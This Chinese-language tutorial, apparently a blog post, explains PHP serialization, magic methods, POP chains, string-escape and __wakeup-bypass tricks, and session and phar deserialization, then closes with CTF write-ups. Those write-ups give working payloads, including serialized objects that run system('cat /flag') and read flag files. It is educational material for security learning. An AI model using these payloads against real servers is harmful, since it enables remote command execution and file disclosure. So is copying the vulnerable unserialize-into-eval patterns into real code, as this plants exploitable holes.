Bootstrap

PHP反序列化

一、PHP面向对象的基础知识

基本概念

1、面向过程VS面向对象

以做饭为例,面向过程是自己从原材料到成品全部自己做,面向对象相当于去饭店,点菜,等待结果(上菜)。

2、类的定义

类是定义了一件事物的抽象特点,它将数据的形式以及这些数据上的操作封装在一起。

对象是具有类类型的变量,是对类的实例。例如:水果是类,苹果是对象。

类的内部构成:成员变量(属性)+成员函数(方法)。

成员变量:定义在类内部的变量,该变量的值对外不可见,但是可以通过成员函数访问,在类被实例化为对象后,变量即可成为对象的属性。

成员函数:定义在类的内部,可用于访问对象的数据。

继承:继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系。在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,把一个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容。

父类:一个类被其他类继承,可将该类成为父类,或基类,超类。

子类:一个类继承其他类成为子类,或派生类。

具体内容

1、类与对象

  • 类的结构

类:定义类名、定义成员变量(属性)、定义成员函数(方法)

class Class_Name{
//成员属性声明
//成员方法声明
//可能还会有成员常量
}
  • 类的内容

class hero{//主类
    var $name;//声明成员变量
    var $sex;//var为一种修饰符
    function jineng($var1){//声明成员函数(方法)
        echo $this->name;//使用预定义$this调用成员变量
        echo $var1;//成员函数传参$var1可直接调用
    }
}
class hero2 extends hero{}//子类
  • 实例化和赋值

实例化:使用new,例如:

$a = new hero();
$a->name = 'abc';
$a->sex = 'nan';
printf_r($a);//或使用var_dump($a);

添加成员方法:

$a->jineng(var1:'奔跑');
  • 类的修饰符介绍

访问权限修饰符:对属性的定义。

常用:public(公共的,任何地方都可用)protected(受保护的,类的外部不能使用)privste(私有的,只有类的颞部可以使用)

修饰符类的内部类的子类类的外部
public可用可用可用
protected可用可用不可用
private可用不可用不可用

代码展示:

class hero{//主类
    public $name='a';
    private $sex='nan';
    protected $shengao='165';
    function jineng($var1){
        echo $this->name;
        echo $var1;
    }
}
class hero2 extends hero{
    function text(){
        echo $this->name;
        echo $this->sex;//报错
        echo $this->shengao;
    }
}
$a=new hero();
$a2=new hero2();
echo $a->name;
echo $a2->test();

函数是实现的某个独立的功能;

成员方法实现是类的一个行为,是类的一部分。

一个类可以声明很多成员方法,成员方法的声明和函数声明完全一样,只不过在声明成员方法时可以在function关键字前加一些访问权限修饰符。默认为public。

二、序列化基础知识

1、序列化的作用

序列化是将对象的状态信息转化为可以存储或传输的过程,方便数据的储存和传输。

2、表达方式

<?php
$a=null;
echo serialize($a);//serialize()是序列化的意思,反序列化是unserialize。
?>
//数组
<?php
$a = array('benben','dazhuang','laowang');
echo $a[0];
echo serialize($a);
?>

序列化结果:

空字符:null->N;
整型:666->i:666;
浮点型:66.6->d:66.6;
boolean(布尔)型:true->b:1;
               false->b:0;
字符串:'benben'->s:6(后面字符串的长度):"benben";
数组:array('benben','dazhuang','laowang');->a(array):3(参数数量):{i:0(编号);s:6:"benben";i:1;s:8:"dazhuang";i:2;s:7:"laowang";}

对象序列化:

<?php
    class test{
    public $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>
序列化只序列化成员属性,不序列化成员方法。
序列化结果:
O(object):4(类名长度):"test"(类名):1(属性数量):{s:3(变量名字长度):"pub"(变量名字);s:6(变量值的长度):"benben"(变量值);}

如果类里面的成员属性为私有属性,则会在变量名前加“%00类名%00”,对于上面test类的序列化则变为:

O:4:"test":1:{s:9:"空test空pub";s:6:"benben";}
test前后的%00不会直接显示出来,在编译器中只能看见两个空,此时可以使用url编码即可看到;
echo urlencode(serialize($a));

若类里面的成员变量为受保护(protected)的话序列化结果是在变量名前加”%00*%00“。即将私有的中的类名换成一个星号。

在对象中调用对象

<?php
class test{
    var $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
class test2{
   var $ben;
    function __construct(){
        $this->ben=new test();
    }
}
$a = new test2();
echo serialize($a);
?>
序列化结果:
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

3、反序列化特性

  • 反序列化之后的内容为一个对象

代码展示:

<?php
class test{
    public $a='benben';
    protected $b=666;
    private $c=false;
    public function displayvar(){
        echo $this->a;
    }
}
$d ='O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}';
$d=urldecode($d);
var_dump(unserialize($d));
?>
  • 反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关;

<?php
class test{
    public $a='benben';
    protected $b=666;
    private $c=false;
    public function displayvar(){
        echo $this->a;
    }
}
$d ='O:4:"test":3:{s:1:"a";s:8:"dazhuang";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}';
$d=urldecode($d);
var_dump(unserialize($d));
?>

将代码中反序列化内容做更改,发现结果出现的是dazhuang而不是benben。与test类无关。

  • 反序列化不触发类的成员方法;需要调用方法后才能触发;

<?php
class test{
    public $a='benben';
    protected $b=666;
    private $c=false;
    public function displayvar(){
        echo $this->a;
    }
}
$d ='O:4:"test":3:{s:1:"a";s:8:"dazhuang";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}';
$d=urldecode($d);
$d=unserialize($d);
$d->displayvar();
?>
此时输出结果是dazhuang。
依然与原定义的类无关,而与反序列化的结果有关。

4、反序列化漏洞

成因:反序列化过程中,unserizlize()接受到的值(字符串)可控;

通过更爱这个值(字符串),得到所需要的代码;

通过调用方法,触发代码执行。

<?php
class test{
    public $a='echo "this is test"';
    public function displayvar(){
        eval($this->a);//将a代表的字符串作为代码执行
    }
}
$get=$_GET["benben"];//通过对benben传参,修改$a的值,从而运行自己想运行的代码。
$b=unserialize($get);
$b->displayvar();//调用成员方法
?>

三、魔术方法

1、魔术方法简介

定义:一个预定好的,在特定情况下自动触发的行为方法。

作用:魔术方法在特定的条件下自动调用相关方法,最终导致触发代码。

相关机制:触发时机(必须知道)、功能、参数(部分魔术方法会有传参)、返回值

2、魔术方法

__construct()

构造函数,在实例化一个对象的时候,首先会去自动执行的魔术方法;

触发时机:实例化对象时触发。

功能:提前清理不必要内容。

参数:非必要

__destruct()

析构函数,在对象的所以引用被删除或者当对象被显式销毁时执行的魔术方法。

触发时机:对象引用完成或对象被销毁(获取几次对象就触发几次,因为建立对象一定会有销毁过程,实例化后会触发,反序列化后会触发)

无参数

__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()。

如果存在,该方法会先被调用,然后才执行序列化的操作。

触发时机:序列化serialize()之前

功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

参数:成员属性

返回值:需要被序列化的成员属性

__wakeup()

unserialize()会检查是否存在一个__wakeup()魔术方法。

如果存在,则会调用__wakeup()方法,预先准备对象需要的资源。

触发时机:反序列化unserialize()之前

功能:常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

__tostring()

触发时机:把对象当成字符串调用

常用于构造POP链;

__invoke()

触发时机:把对象当成函数调用

__call()

触发时机:调用一个不存在的成员方法

参数:两个参数,第一个参数是调用的不存在的函数名,第二个参数是调用时传参数据。

返回值:不存在的成员方法的名称,调用时的参数

__callStatic()

触发时机:静态调用或调用成员常量时使用的方法不存在

参数:两个参数

返回值:不存在的成员方法的名称,调用时的参数

<?php
class test{
    public function __callStatic($arg1,$arg2){
        echo "$arg1,$arg2[0]";
    }
}
$test=new test();
$test::callxxx('a');//静态调用
?>

__get()

调用时机:调用的成员属性不存在

参数:一个参数

返回值:不存在的成员属性的名称

__set()

触发时机:给不存在的成员属性赋值

参数:两个参数

返回值:不存在的成员属性的名称和赋的值

__isset()

触发时机:对不可访问属性使用isset()或empty()时,__isset()会被调用。

参数:一个参数

返回值:不存在的成员属性的名称

__unset()

触发时机:对不可访问的属性使用unset()时

参数:一个参数

返回值:不存在的成员属性的名称

__clone()

触发时机:当使用clone关键词拷贝完成一个对象后,新对象会自动调用有定义的魔术方法__clone()

总结(在别的师傅那里截的图):

四、POP链的构造思路知识

1、成员属性赋值对象

<?php
class index{
    private $test;
    public function __construct(){
        $this->test=new normal;
    }
    public function __destruct(){//反序列化结束会触发__destruct函数
        $this->test->action();//在此可以调用action函数,
    }
}
class normal{
    public function action(){
        echo "please attack me";
    }
}
class evil{
    var $test2;
    public function action(){
        eval($this->test2);//可利用的漏洞在eval()(可执行命令),eval()调用test2。
    }
}
unserialize($_GET['test']);//反推法
?>

2、魔术方法触发规则

魔术方法触发的前提:魔术方法所在的类(或对象)被调用。

3、POP链构造,POC编写

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一种漏洞利用方法叫“面向属性编程”,即POP。

POP链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种apyload。

POC中文译为概念验证,在安全界可以理解成漏洞验证程序。POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

【PHP反序列化漏洞学习】 0x013 pop链构造解释_哔哩哔哩_bilibili

五、字符串逃逸

1、字符减少

字符串减少逃逸:多逃逸一个成员属性。第一个字符串减少,吃掉有效代码,在第二个字符串构造代码。

确保反序列化的数据成员属性一致,成员属性名称长度一致,内容长度一致才可以反序列化成功,否则是false。在前面字符串没有问题的情况下;}是反序列化的结束符,后面的字符串不影响反序列化结果。

<?php
class A{
    public $v1="abcsystem()";
    public $v2="123";
}
$data=serialize(new A());
$data=str_replace("system()","",$data);//str_replace在这里的作用是将data里面的system()删除。
var_dump(unserialize($data));

因为字符是指令性符号还是字符串是由前面的字符数量决定的,所以可以通过调整system()的数量进行删除,从而使后面的指令型代码变为字符串,最后的字符串作为指令性代码进行执行,达到想要的结果。下面是在别的师傅那里截的图。

<?php
class A{
    public $v1="abcsystem()system()system()";
    public $v2='1234567";s:2:"v3";s:3:"123";}';
}
$data=serialize(new A());
$data=str_replace("system()","",$data);
var_dump(unserialize($data));

运行这段代码,会出现三个成员属性v1(abc";s:2:"v2";s:29:"1234567),v2(1234567";s:2:"v3";s:3:"123";}),v3(123)。这样就通过字符串的逃逸产生出了v3。

2、字符增多

字符串增多逃逸:构造出一个逃逸成员属性。第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性。

字符增多是通过替换,使得字符数量少于字符数量从而导致最后的字符被作为指示性命令执行。

3、wakeup绕过

漏洞产生原因:如果存在wakeup方法,调用unserilize()方法前则先调用wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过wakeup的执行。

4、引用的利用方式(类似C语言指针)

<?php
class just4fun{
    var $enter;
    var $secret;
}
$a->enter = &$a->secret;//enter和secret的值完全相同。

六、session反序列化漏洞

当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。

漏洞产生:写入格式和读取格式不一致。

处理器对应的存储格式
php键名+竖线+经过serialize()函数序列化处理的值
php_serialize(php>=5.5.4)经过serialize()函数序列化处理的数组
php_binary键名的长度对应的ASCLL字符+键名+经过serialize()函数序列化处理的值

七、phar反序列化

1、什么是phar

JAR是开发java程序一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里,使得部署过程非常简单。

PHAR是PHP里类似JAR的一种打包文件。对于PHP5.3或更高版本,Phar后缀文件是默认开启支持的可以直接使用它。

文件包含:phar为协议,可读取.phar文件。

可以理解为一个压缩包。

2、phar结构

stub phar 文件标识,格式为xxx<?php xxx;__HALT__COMPILER();?>;

manifest 压缩文件的属性等信息,以序列化存储;(重点关注)

contents 压缩文件的内容;

signature 签名,放在文件末尾;

Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

3、phar漏洞原理

manifest压缩文件的属性等信息,以序列化存储;存在一段序列化的字符串;调用phar伪协议,可读取.phar文件;phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。

4、Phar使用条件

  • Phar文件能上传到服务器;

  • 要有可用反序列化魔术方法作为跳板;

  • 要有文件操作函数,如file_exists(),fopen(),file_get_contents()

  • 文件操作函数参数可控,且:、/、phar等特殊字符没有被过滤。

攻防世界

unserialize3

打开本题,可看到一下代码:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

根据代码,我们需要进行__wakeup绕过然后获取flag,要注入的参数为code。

让成员属性个数大于类中真实的个数即可:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

Web_php_unserialize

打开题目,得到以下代码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

根据代码,变量var经过base64解码后进行正则匹配,若匹配到o或c,则输出stop hacking!相反,则进行序列化。

输入:index.php?var=O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}

编码后:index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

NSSCTF

1z_unserialize

打开题目,获得以下代码:

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;
​
        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

根据代码,构造it与lly的值即可,注意本题为POST传参。

输入:nss=O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
​
nss=O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

ez_ez_unserialize

打开题目,获得以下代码:

<?php
class X 
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x; 
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        } 
    }
    function __destruct()
    {
        highlight_file($this->x); 
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
} 

根据代码,需要绕过wakeup函数。

输入:x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

ez_unserialize

这个题需要在题目后面加/robots.txt打开会发现cl45s.php文件。打开文件,可获得以下代码:

需要对p进行传参使其满足$this->admin=="admin"&&$this->passwd=="ctf"。

输入:?p=O:4:wllm:2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

;